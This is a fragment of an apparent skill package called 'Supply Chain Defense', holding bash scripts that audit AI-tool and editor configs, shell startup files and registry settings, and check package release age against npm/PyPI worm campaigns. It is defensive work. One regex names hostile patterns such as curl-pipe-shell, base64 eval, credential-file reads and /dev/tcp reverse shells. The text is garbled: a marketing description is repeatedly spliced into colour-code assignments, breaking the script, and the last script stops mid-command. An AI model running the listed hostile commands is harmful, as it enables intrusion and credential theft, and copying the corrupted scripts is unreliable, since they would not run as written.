Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[33m'; C_G=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[32m'; C_D=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[2m'; C_O=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[0m'\nelse C_Y=\"\"; C_G=\"\"; C_D=\"\"; C_O=\"\"; fi\nsection() { [[ \"$QUIET\" -eq 1 ]] && return; printf '%s== %s ==%s %s\\n' \"$C_D\" \"$1\" \"$C_O\" \"${2:-}\" >&2; }\ninfo() { [[ \"$QUIET\" -eq 1 ]] && return; printf ' %s\\n' \"$1\" >&2; }\nvinfo() { [[ \"$VERBOSE\" -eq 1 ]] && printf ' %s\\n' \"$1\" >&2; }\n\nHAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1\nHAS_ZIZMOR=0; command -v zizmor >/dev/null 2>&1 && HAS_ZIZMOR=1\nif [[ \"$JSON\" -eq 1 && \"$HAS_JQ\" -eq 0 ]]; then\n echo '{\"error\":{\"code\":\"MISSING_DEPENDENCY\",\"message\":\"jq required for --json\",\"details\":{\"install\":\"apt-get install jq\"}}}'\n echo \"ERROR: jq required for --json output\" >&2\n exit \"$EXIT_MISSING_DEP\"\nfi\n\nREVIEW_JSON=() # array of compact JSON objects\nREVIEW_COUNT=0\n\n# record \u003ccategory> \u003csource> \u003ckind> \u003centries-newline-separated>\nrecord() {\n local category=$1 source=$2 kind=$3 entries=$4\n REVIEW_COUNT=$((REVIEW_COUNT+1))\n # tab-separated record to stdout (the data product, non-JSON mode)\n if [[ \"$JSON\" -eq 0 ]]; then\n local flat; flat=$(echo \"$entries\" | paste -sd',' - 2>/dev/null)\n printf '%s\\t%s\\t%s\\t%s\\n' \"$category\" \"$source\" \"$kind\" \"$flat\"\n fi\n if [[ \"$HAS_JQ\" -eq 1 ]]; then\n local obj\n obj=$(jq -cn --arg c \"$category\" --arg s \"$source\" --arg k \"$kind\" \\\n --arg e \"$entries\" '{category:$c, source:$s, kind:$k, entries:($e|split(\"\\n\")|map(select(length>0)))}')\n REVIEW_JSON+=(\"$obj\")\n fi\n printf ' %s[review]%s %s %s: %s\\n' \"$C_Y\" \"$C_O\" \"$kind\" \"$source\" \\\n \"$(echo \"$entries\" | paste -sd',' - 2>/dev/null)\" >&2\n}\n\njson_key_entries() { # file key -> newline-separated entry list (jq)\n local file=$1 key=$2\n [[ -f \"$file\" && \"$HAS_JQ\" -eq 1 ]] || return 0\n jq -r --arg k \"$key\" '\n if (.[$k] // empty) == null then empty\n elif (.[$k]|type)==\"object\" then (.[$k]|keys[])\n elif (.[$k]|type)==\"array\" then (.[$k][]|tostring)\n else (.[$k]|tostring) end' \"$file\" 2>/dev/null\n}\n\n# ─── 1. AI-tool config: hooks / mcpServers across hosts ────────────────────\n# Broadened with the MCP host-config map from Perplexity's Bumblebee\n# (docs/inventory-sources.md) — the worm targets these persistence surfaces.\nsection \"AI-tool config\" \"hooks / mcpServers you may not have added (Claude + MCP hosts)\"\nAPPDATA_DIR=\"${APPDATA:-$HOME/AppData/Roaming}\"\nCLAUDE_FILES=(\n \"$HOME/.claude/settings.json\" \"$HOME/.claude/settings.local.json\" \"$HOME/.claude.json\"\n \"$HOME/.gemini/settings.json\" # Gemini CLI / Code Assist\n \"$HOME/Library/Application Support/Claude/claude_desktop_config.json\" # Claude Desktop (mac)\n \"$APPDATA_DIR/Claude/claude_desktop_config.json\" # Claude Desktop (win)\n \"$HOME/.config/Claude/claude_desktop_config.json\") # Claude Desktop (linux)\n# Project-local MCP / Claude configs (skip worktrees — owned by other sessions).\nwhile IFS= read -r f; do CLAUDE_FILES+=(\"$f\"); done \u003c \u003c(\n find \"$PROJECT_DIR\" -maxdepth 4 \\\n \\( -name 'settings*.json' -path '*/.claude/*' \\\n -o -name '.mcp.json' -o -name 'mcp.json' \\\n -o -name 'cline_mcp_settings.json' -o -name 'mcp_settings.json' \\) \\\n -not -path '*/worktrees/*' -not -path '*/node_modules/*' 2>/dev/null)\nfor f in \"${CLAUDE_FILES[@]}\"; do\n [[ -f \"$f\" ]] || continue\n vinfo \"scanning $f\"\n for key in hooks mcpServers; do\n entries=$(json_key_entries \"$f\" \"$key\")\n [[ -n \"$entries\" ]] && record \"aitool_config\" \"$f\" \"$key\" \"$entries\"\n done\ndone\n\n# ─── 2. Editor user settings (VS Code + forks) ─────────────────────────────\nsection \"Editor settings\" \"startup / autorun / task IOCs (VS Code, Cursor, Windsurf, VSCodium)\"\nEDITOR_SETTINGS=()\nfor ed in Code Cursor Windsurf VSCodium; do\n EDITOR_SETTINGS+=(\n \"$HOME/.config/$ed/User/settings.json\" # Linux\n \"$HOME/Library/Application Support/$ed/User/settings.json\" # macOS\n \"${APPDATA:-$HOME/AppData/Roaming}/$ed/User/settings.json\") # Windows\ndone\nSUSPECT='task.allowAutomaticTasks|automationProfile|shellArgs|runOnStartup|autoRun|\"command\":'\nfor f in \"${EDITOR_SETTINGS[@]}\"; do\n [[ -f \"$f\" ]] || continue\n vinfo \"scanning $f\"\n hits=$(grep -nEi \"$SUSPECT\" \"$f\" 2>/dev/null)\n [[ -n \"$hits\" ]] && record \"vscode_settings\" \"$f\" \"autorun_keys\" \"$hits\"\ndone\ninfo \"audit extensions too: code --list-extensions --show-versions (pause \u003c7-day, non-verified)\"\n\n# ─── 3. GitHub Actions OIDC publish trust ──────────────────────────────────\nsection \"GitHub Actions\" \"live OIDC publish trust (Mini Shai-Hulud entry point)\"\nWF_DIR=\"$PROJECT_DIR/.github/workflows\"\nif [[ -d \"$WF_DIR\" ]]; then\n if [[ \"$HAS_ZIZMOR\" -eq 1 ]]; then\n info \"running zizmor (richer workflow analysis) — see stderr\"\n [[ \"$QUIET\" -eq 0 ]] && zizmor \"$WF_DIR\" >&2 2>&1 || true\n else\n # Surface the degradation at info level (NOT verbose-only) — the caller must\n # know they're getting the weaker check, or they'll assume full coverage.\n info \"NOTE: zizmor not installed — using weaker rg-based OIDC check only.\"\n info \" Misses pull_request_target / template-injection. Install: uv tool install zizmor\"\n fi\n while IFS= read -r wf; do\n [[ -z \"$wf\" ]] && continue\n pub=$(grep -nE 'npm publish|pypi|twine upload|trusted.?publish|registry-url' \"$wf\" 2>/dev/null)\n record \"workflow_oidc\" \"$wf\" \"id-token-write\" \"${pub:-id-token: write present}\"\n done \u003c \u003c(grep -rlE 'id-token:\\s*write' \"$WF_DIR\" 2>/dev/null)\nelse\n info \"no .github/workflows in $PROJECT_DIR\"\nfi\n\n# ─── 4. Shell startup files (persistence) ──────────────────────────────────\n# The worm family persists via shell rc files too, not just editor settings —\n# our own threat-model IOC list names this. These files are hand-edited, so\n# curl|sh / base64-eval / cred-reads / reverse-shell patterns are high-signal.\nsection \"Shell startup files\" \"curl|sh, base64 eval, cred reads, /dev/tcp (persistence)\"\nSHELL_RC=(\n \"$HOME/.bashrc\" \"$HOME/.bash_profile\" \"$HOME/.profile\"\n \"$HOME/.zshrc\" \"$HOME/.zprofile\" \"$HOME/.zshenv\"\n \"$HOME/.config/fish/config.fish\"\n \"$HOME/Documents/PowerShell/Microsoft.PowerShell_profile.ps1\"\n \"$HOME/Documents/WindowsPowerShell/Microsoft.PowerShell_profile.ps1\")\nSHELL_SUSPECT='curl[^|]*\\|[[:space:]]*(ba)?sh|wget[^|]*\\|[[:space:]]*(ba)?sh|base64[[:space:]]+--?d|eval[[:space:]]+\"?\\$\\(|\\.claude[/\\\\]\\.?settings|\\.aws[/\\\\]credentials|/dev/tcp/|[Ii]nvoke-Expression[^;]*[Dd]ownload'\nfor f in \"${SHELL_RC[@]}\"; do\n [[ -f \"$f\" ]] || continue\n vinfo \"scanning $f\"\n hits=$(grep -nEi \"$SHELL_SUSPECT\" \"$f\" 2>/dev/null)\n [[ -n \"$hits\" ]] && record \"shell_rc\" \"$f\" \"suspicious_line\" \"$hits\"\ndone\n\n# ─── 5. Package-manager config (rogue registry / leaked token) ─────────────\nsection \"Package-manager config\" \".npmrc / .pypirc registry overrides + tokens\"\nfor f in \"$HOME/.npmrc\" \"$PROJECT_DIR/.npmrc\" \"$HOME/.pypirc\" \"$PROJECT_DIR/.pypirc\"; do\n [[ -f \"$f\" ]] || continue\n vinfo \"scanning $f\"\n hits=$(grep -nEi '^[[:space:]]*registry[[:space:]]*=|_authToken|^[[:space:]]*index-url|password[[:space:]]*=' \"$f\" 2>/dev/null)\n [[ -n \"$hits\" ]] && record \"pkgmgr_config\" \"$f\" \"registry_or_token\" \"$hits\"\ndone\n\n# ─── Output + verdict ──────────────────────────────────────────────────────\nif [[ \"$JSON\" -eq 1 ]]; then\n printf '%s\\n' \"${REVIEW_JSON[@]:-}\" | jq -s \\\n --argjson z \"$HAS_ZIZMOR\" \\\n '{data:{review: (map(select(length>0)))}, meta:{count:(map(select(length>0))|length), zizmor_used:($z==1), schema:\"axiom.tool.integrity-audit.report/v1\"}}'\nfi\n\nif [[ \"$REVIEW_COUNT\" -eq 0 ]]; then\n [[ \"$QUIET\" -eq 0 ]] && printf '%sClean: nothing flagged for review.%s\\n' \"$C_G\" \"$C_O\" >&2\n exit \"$EXIT_OK\"\nfi\nif [[ \"$QUIET\" -eq 0 ]]; then\n printf '%s%d item(s) flagged for review — confirm YOU added each.%s\\n' \"$C_Y\" \"$REVIEW_COUNT\" \"$C_O\" >&2\n cat >&2 \u003c\u003c'EOF'\n Not proof of compromise. If any entry is unexplained, treat as an incident:\n 1. Isolate the machine. 2. Rotate every reachable credential. 3. Investigate.\nEOF\nfi\nexit \"$EXIT_REVIEW\"\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":10010,"content_sha256":"b1a999b0d9be89e6281f9665c70949b8bdf15b300220f3ad3163edaee64d0101"},{"filename":"scripts/preinstall-check.sh","content":"#!/usr/bin/env bash\n# Release-age pre-check for dependencies — enforce the cooldown policy.\n#\n# Flags any package whose target version was published inside the cooldown window\n# (default 7 days), because the 2026 worm campaign poisons brand-new releases that\n# are removed within hours. Routes to `socket` for a behavioural verdict when the\n# CLI is installed. Queries public registries (npm registry / PyPI JSON API) — no\n# auth, no install, read-only.\n#\n# Usage: preinstall-check.sh [--npm|--pip|--composer|--cargo|--go] [--json] [-q] \u003cpkg>[@version] ...\n# Input: one or more package specs as positionals; a flag picks the ecosystem\n# (default npm; Composer specs are vendor/pkg[@version])\n# Output: stdout = per-package records (tab-separated, or JSON with --json)\n# Stderr: headers, socket suggestions, progress, errors\n# Exit: 0 all outside cooldown, 2 usage, 5 missing-dep, 7 registry-unavailable,\n# 10 at-least-one-inside-cooldown\n#\n# Examples:\n# preinstall-check.sh axios [email protected]\n# preinstall-check.sh --pip requests [email protected]\n# preinstall-check.sh --composer laravel-lang/lang craftcms/[email protected]\n# preinstall-check.sh --cargo serde ; preinstall-check.sh --go github.com/gin-gonic/gin\n# preinstall-check.sh --json axios | jq '.data[] | select(.inside_cooldown)'\n# COOLDOWN_DAYS=14 preinstall-check.sh left-pad\n\nset -uo pipefail\n\nEXIT_OK=0; EXIT_USAGE=2; EXIT_MISSING_DEP=5; EXIT_UNAVAILABLE=7; EXIT_INSIDE=10\n\nECOSYSTEM=\"npm\"; COOLDOWN_DAYS=\"${COOLDOWN_DAYS:-7}\"; JSON=0; QUIET=0; PKGS=()\nwhile [[ $# -gt 0 ]]; do\n case \"$1\" in\n --pip|--pypi) ECOSYSTEM=\"pypi\" ;;\n --npm) ECOSYSTEM=\"npm\" ;;\n --composer) ECOSYSTEM=\"composer\" ;;\n --cargo) ECOSYSTEM=\"cargo\" ;;\n --go) ECOSYSTEM=\"go\" ;;\n --json) JSON=1 ;;\n -q|--quiet) QUIET=1 ;;\n -h|--help) sed -n '2,30p' \"$0\" | sed 's/^# \\{0,1\\}//'; exit \"$EXIT_OK\" ;;\n -*) echo \"ERROR: unknown flag: $1 (try --help)\" >&2; exit \"$EXIT_USAGE\" ;;\n *) PKGS+=(\"$1\") ;;\n esac\n shift\ndone\n\n[[ ${#PKGS[@]} -eq 0 ]] && { echo \"ERROR: no package specs given (try --help)\" >&2; exit \"$EXIT_USAGE\"; }\ncommand -v curl >/dev/null 2>&1 || { echo \"ERROR: curl required\" >&2; exit \"$EXIT_MISSING_DEP\"; }\nHAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1\n[[ \"$JSON\" -eq 1 && \"$HAS_JQ\" -eq 0 ]] && {\n echo '{\"error\":{\"code\":\"MISSING_DEPENDENCY\",\"message\":\"jq required for --json\"}}'\n echo \"ERROR: jq required for --json\" >&2; exit \"$EXIT_MISSING_DEP\"; }\nHAS_SOCKET=0; command -v socket >/dev/null 2>&1 && HAS_SOCKET=1\n\nemit() { [[ \"$QUIET\" -eq 1 ]] && return; printf '%s\\n' \"$1\" >&2; }\nnow_epoch=$(date +%s); inside=0; unavailable=0\nJSON_OBJS=()\n\niso_to_epoch() {\n local ts=$1\n date -d \"$ts\" +%s 2>/dev/null && return 0\n ts=\"${ts%%.*}\"; ts=\"${ts%Z}\"\n date -j -f \"%Y-%m-%dT%H:%M:%S\" \"$ts\" +%s 2>/dev/null && return 0\n echo \"\"\n}\n\nresult() { # name version published\n local name=$1 version=$2 published=$3 days=-1 ic=false\n if [[ -n \"$version\" && -n \"$published\" ]]; then\n local epoch; epoch=$(iso_to_epoch \"$published\")\n if [[ -n \"$epoch\" ]]; then\n days=$(( (now_epoch - epoch) / 86400 ))\n if [[ \"$days\" -lt \"$COOLDOWN_DAYS\" ]]; then ic=true; inside=1; fi\n fi\n fi\n # data record → stdout (non-json mode)\n if [[ \"$JSON\" -eq 0 ]]; then\n printf '%s\\t%s\\t%s\\t%s\\t%s\\n' \"$ECOSYSTEM\" \"$name\" \"${version:-?}\" \"${days}\" \"$ic\"\n fi\n [[ \"$HAS_JQ\" -eq 1 ]] && JSON_OBJS+=(\"$(jq -cn \\\n --arg e \"$ECOSYSTEM\" --arg n \"$name\" --arg v \"$version\" \\\n --arg p \"$published\" --argjson d \"$days\" --argjson ic \"$ic\" \\\n '{ecosystem:$e, name:$n, version:($v|select(length>0)), published:($p|select(length>0)), age_days:(if $d\u003c0 then null else $d end), inside_cooldown:$ic}')\")\n # human framing → stderr\n if [[ \"$ic\" == \"true\" ]]; then\n emit \" [INSIDE COOLDOWN] ${name}@${version} — ${days}d ago (\u003c ${COOLDOWN_DAYS}d). Hold off.\"\n elif [[ \"$days\" -ge 0 ]]; then\n emit \" [ok] ${name}@${version} — ${days}d ago (>= ${COOLDOWN_DAYS}d).\"\n else\n emit \" [?] ${name} — version/publish time not found or registry unreachable.\"\n fi\n}\n\nfetch() { curl -fsSL -A \"supply-chain-defense/preinstall-check\" \"$1\" 2>/dev/null || { unavailable=1; echo \"\"; }; }\n\ncheck_npm() {\n local spec=$1 name version json\n name=\"${spec%@*}\"; version=\"\"\n [[ \"$spec\" == *\"@\"* && \"$spec\" != @*/* ]] && version=\"${spec#*@}\"\n json=$(fetch \"https://registry.npmjs.org/${name}\")\n [[ -z \"$json\" || \"$HAS_JQ\" -eq 0 ]] && { result \"$name\" \"\" \"\"; return; }\n [[ -z \"$version\" ]] && version=$(jq -r '.\"dist-tags\".latest // empty' \u003c\u003c\u003c\"$json\")\n result \"$name\" \"$version\" \"$(jq -r --arg v \"$version\" '.time[$v] // empty' \u003c\u003c\u003c\"$json\")\"\n}\ncheck_pypi() {\n local spec=$1 name version url json\n name=\"${spec%==*}\"; version=\"\"\n [[ \"$spec\" == *\"==\"* ]] && version=\"${spec#*==}\"\n [[ \"$spec\" == *\"@\"* ]] && { name=\"${spec%@*}\"; version=\"${spec#*@}\"; }\n url=\"https://pypi.org/pypi/${name}/json\"; [[ -n \"$version\" ]] && url=\"https://pypi.org/pypi/${name}/${version}/json\"\n json=$(fetch \"$url\")\n [[ -z \"$json\" || \"$HAS_JQ\" -eq 0 ]] && { result \"$name\" \"\" \"\"; return; }\n [[ -z \"$version\" ]] && version=$(jq -r '.info.version // empty' \u003c\u003c\u003c\"$json\")\n result \"$name\" \"$version\" \"$(jq -r --arg v \"$version\" \\\n '(.releases[$v]//[])[0].upload_time_iso_8601 // .urls[0].upload_time_iso_8601 // empty' \u003c\u003c\u003c\"$json\")\"\n}\n\ncheck_composer() { # Packagist: repo.packagist.org/p2/\u003cvendor>/\u003cpkg>.json\n local spec=$1 name version json published\n name=\"${spec%@*}\"; version=\"\"\n [[ \"$spec\" == *\"@\"* ]] && version=\"${spec#*@}\"\n json=$(fetch \"https://repo.packagist.org/p2/${name}.json\")\n [[ -z \"$json\" || \"$HAS_JQ\" -eq 0 ]] && { result \"$name\" \"\" \"\"; return; }\n [[ -z \"$version\" ]] && version=$(jq -r --arg n \"$name\" '(.packages[$n][0].version) // empty' \u003c\u003c\u003c\"$json\")\n published=$(jq -r --arg n \"$name\" --arg v \"$version\" 'first(.packages[$n][] | select(.version==$v) | .time) // empty' \u003c\u003c\u003c\"$json\")\n result \"$name\" \"$version\" \"$published\"\n}\ncheck_cargo() { # crates.io API (requires User-Agent — fetch sets one)\n local spec=$1 name version json published\n name=\"${spec%@*}\"; version=\"\"\n [[ \"$spec\" == *\"@\"* ]] && version=\"${spec#*@}\"\n json=$(fetch \"https://crates.io/api/v1/crates/${name}\")\n [[ -z \"$json\" || \"$HAS_JQ\" -eq 0 ]] && { result \"$name\" \"\" \"\"; return; }\n [[ -z \"$version\" ]] && version=$(jq -r '.crate.max_stable_version // .crate.newest_version // empty' \u003c\u003c\u003c\"$json\")\n published=$(jq -r --arg v \"$version\" 'first(.versions[] | select(.num==$v) | .created_at) // empty' \u003c\u003c\u003c\"$json\")\n result \"$name\" \"$version\" \"$published\"\n}\ncheck_go() { # proxy.golang.org/\u003cmodule>/@v/\u003cversion>.info (or /@latest)\n local spec=$1 mod version json\n mod=\"${spec%@*}\"; version=\"\"\n [[ \"$spec\" == *\"@\"* ]] && version=\"${spec#*@}\"\n if [[ -z \"$version\" ]]; then json=$(fetch \"https://proxy.golang.org/${mod}/@latest\")\n else json=$(fetch \"https://proxy.golang.org/${mod}/@v/${version}.info\"); fi\n [[ -z \"$json\" || \"$HAS_JQ\" -eq 0 ]] && { result \"$mod\" \"\" \"\"; return; }\n result \"$mod\" \"$(jq -r '.Version // empty' \u003c\u003c\u003c\"$json\")\" \"$(jq -r '.Time // empty' \u003c\u003c\u003c\"$json\")\"\n}\n\nemit \"=== Pre-install check (${ECOSYSTEM}, cooldown ${COOLDOWN_DAYS}d) ===\"\nfor spec in \"${PKGS[@]}\"; do\n case \"$ECOSYSTEM\" in\n npm) check_npm \"$spec\" ;; pypi) check_pypi \"$spec\" ;;\n composer) check_composer \"$spec\" ;; cargo) check_cargo \"$spec\" ;; go) check_go \"$spec\" ;;\n esac\ndone\n\nif [[ \"$JSON\" -eq 1 ]]; then\n printf '%s\\n' \"${JSON_OBJS[@]:-}\" | jq -s \\\n --argjson cd \"$COOLDOWN_DAYS\" --arg eco \"$ECOSYSTEM\" \\\n '{data: map(select(length>0)), meta:{ecosystem:$eco, cooldown_days:$cd, count:(map(select(length>0))|length), schema:\"axiom.tool.preinstall-check.report/v1\"}}'\nfi\n\nif [[ \"$QUIET\" -eq 0 ]]; then\n if [[ \"$HAS_SOCKET\" -eq 1 ]]; then\n emit \"\"; emit \"Behavioural verdict:\"\n for spec in \"${PKGS[@]}\"; do n=\"${spec%@*}\"; n=\"${n%==*}\"; emit \" socket package score ${ECOSYSTEM} ${n}\"; done\n else\n emit \"\"; emit \"Behavioural scan (free): npm install -g socket # then: socket package score ${ECOSYSTEM} \u003cpkg>\"\n emit \"Or depscore MCP (no key): claude mcp add --transport http socket-mcp https://mcp.socket.dev/\"\n fi\nfi\n\n[[ \"$inside\" -eq 1 ]] && exit \"$EXIT_INSIDE\"\n[[ \"$unavailable\" -eq 1 ]] && exit \"$EXIT_UNAVAILABLE\"\nexit \"$EXIT_OK\"\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":8282,"content_sha256":"77a7d9a3f0d071ec5de7c351d4787650f383123ee8efc9a85e4a2ebc411e5ac1"},{"filename":"scripts/scan-extensions.sh","content":"#!/usr/bin/env bash\n# Inventory, recency, and (optional) behavioural scan of installed editor\n# extensions, Claude Code plugins, and skills — the \"what's on this machine, what\n# changed recently, and is any of it malicious?\" audit.\n#\n# DEFAULT (zero-dependency): lists every installed editor extension, Claude plugin,\n# and skill with its version + whether it changed within the recency window. The\n# 2026 campaign exploits exactly the gap this closes — fresh malicious versions\n# live for minutes (Nx Console: 11 min) and most teams have no inventory. This\n# mode has NO false positives; it is an inventory, not a verdict.\n#\n# --deep (auto-detects guarddog + semgrep): runs GuardDog's AST/semgrep behavioural\n# rules against editor extensions changed within the window (or --all) — the real\n# \"unknown bad\" engine. If the engine is NOT installed it does NOT pretend: it runs\n# inventory + recency, then LOUDLY reports that the behavioural scan was skipped and\n# recommends `uv tool install guarddog semgrep` (on-demand — kept off the machine by\n# default to stay lean). It never reports \"clean\" for a scan it didn't run.\n# Note: extension bundles are minified, so even AST scanning is best-effort here;\n# inventory + recency + IOC (exposure-check.py) remain the backbone for extensions.\n#\n# Usage: scan-extensions.sh [--json] [--days N] # inventory + recency\n# scan-extensions.sh --deep [--all] [--days N] # behavioural (needs guarddog+semgrep)\n# Input: editor-extension dirs (SC_EXT_DIRS overrides), ~/.claude/plugins, ~/.claude/skills\n# Output: stdout = inventory / findings (tab-separated, or JSON with --json)\n# Stderr: framing, plugin SHA inventory, verdict\n# Exit: 0 ok (incl. --deep with engine absent — behavioural skipped, not failed),\n# 2 usage, 10 behavioural finding(s)\n#\n# Examples:\n# scan-extensions.sh # full inventory + recency\n# scan-extensions.sh --days 7 --json # JSON, 7-day recency window\n# scan-extensions.sh --deep --days 7 # behavioural-scan extensions changed in 7d\n\nset -uo pipefail\nEXIT_OK=0; EXIT_USAGE=2; EXIT_MISSING_DEP=5; EXIT_FINDING=10\n\nJSON=0; QUIET=0; DEEP=0; ALL=0; DAYS=14\nwhile [[ $# -gt 0 ]]; do\n case \"$1\" in\n --json) JSON=1 ;;\n -q|--quiet) QUIET=1 ;;\n --deep) DEEP=1 ;;\n --all) ALL=1 ;;\n --days) DAYS=\"${2:?--days needs a value}\"; shift ;;\n -h|--help) sed -n '2,33p' \"$0\" | sed 's/^# \\{0,1\\}//'; exit \"$EXIT_OK\" ;;\n -*) echo \"ERROR: unknown flag: $1 (try --help)\" >&2; exit \"$EXIT_USAGE\" ;;\n *) echo \"ERROR: unexpected argument: $1\" >&2; exit \"$EXIT_USAGE\" ;;\n esac\n shift\ndone\n\nHAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1\nif [[ -t 2 && -z \"${NO_COLOR:-}\" ]]; then C_Y=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[33m'; C_G=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[32m'; C_D=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[2m'; C_R=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[31m'; C_O=

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…

\\033[0m'\nelse C_Y=\"\"; C_G=\"\"; C_D=\"\"; C_R=\"\"; C_O=\"\"; fi\nsection(){ [[ \"$QUIET\" -eq 1 ]] || printf '%s== %s ==%s %s\\n' \"$C_D\" \"$1\" \"$C_O\" \"${2:-}\" >&2; }\ninfo(){ [[ \"$QUIET\" -eq 1 ]] || printf ' %s\\n' \"$1\" >&2; }\n\n# ── --deep: auto-detect the engine; recommend (don't require) if absent ────\n# Lean by default — guarddog+semgrep are NOT kept on the machine. If --deep is asked\n# for and they're present, use them; if absent, run inventory+recency and LOUDLY skip\n# the behavioural pass (never report a scan we didn't run as clean).\nDEEP_OK=0; DEEP_SKIPPED=0\nif [[ \"$DEEP\" -eq 1 ]]; then\n if command -v guarddog >/dev/null 2>&1 && command -v semgrep >/dev/null 2>&1 && semgrep --version >/dev/null 2>&1; then\n DEEP_OK=1\n else\n DEEP_SKIPPED=1\n fi\nfi\n\nnow_epoch=$(date +%s); window=$(( DAYS * 86400 ))\nEXT_DIRS=(\"$HOME/.vscode/extensions\" \"$HOME/.vscode-server/extensions\" \"$HOME/.vscode-oss/extensions\" \"$HOME/.cursor/extensions\" \"$HOME/.windsurf/extensions\")\n[[ -n \"${SC_EXT_DIRS:-}\" ]] && IFS=\"$(printf ':')\" read -ra EXT_DIRS \u003c\u003c\u003c \"$SC_EXT_DIRS\"\n\nINV_JSON=(); FIND_JSON=(); FINDINGS=0; RECENT=0\n\ndir_recent() { # echoes yes/no — any code file in $1 modified within window\n local newest\n newest=$(find \"$1\" -type f \\( -name '*.js' -o -name '*.ts' -o -name '*.cjs' -o -name '*.mjs' -o -name '*.py' -o -name '*.sh' -o -name 'package.json' \\) -printf '%T@\\n' 2>/dev/null | sort -rn | head -1)\n [[ -n \"$newest\" && $(( now_epoch - ${newest%.*} )) -lt $window ]] && echo yes || echo no\n}\n\n# ── 1. Editor extensions: inventory (+ behavioural if --deep) ──────────────\nsection \"Editor extensions\" \"inventory + recency \u003c${DAYS}d$( [[ $DEEP_OK -eq 1 ]] && echo ' + GuardDog behavioural' )\"\nfor base in \"${EXT_DIRS[@]}\"; do\n [[ -d \"$base\" ]] || continue\n for ext in \"$base\"/*/; do\n [[ -f \"$ext/package.json\" ]] || continue\n pub=$(jq -r '.publisher // empty' \"$ext/package.json\" 2>/dev/null)\n name=$(jq -r '.name // empty' \"$ext/package.json\" 2>/dev/null)\n ver=$(jq -r '.version // empty' \"$ext/package.json\" 2>/dev/null)\n [[ -z \"$pub\" || -z \"$name\" ]] && continue\n id=\"$pub.$name\"; recent=$(dir_recent \"$ext\")\n [[ \"$recent\" == yes ]] && RECENT=$((RECENT+1))\n [[ \"$JSON\" -eq 0 && \"$QUIET\" -eq 0 ]] && printf '%s\\t%s\\trecent=%s\\n' \"$id\" \"${ver:-?}\" \"$recent\"\n [[ \"$HAS_JQ\" -eq 1 ]] && INV_JSON+=(\"$(jq -cn --arg i \"$id\" --arg v \"$ver\" --argjson r \"$([[ $recent == yes ]] && echo true || echo false)\" '{kind:\"editor-extension\",id:$i,version:$v,recent:$r}')\")\n # behavioural scan: --deep, gated to recent unless --all\n if [[ \"$DEEP_OK\" -eq 1 && ( \"$ALL\" -eq 1 || \"$recent\" == yes ) ]]; then\n gout=$(PYTHONUTF8=1 guarddog npm 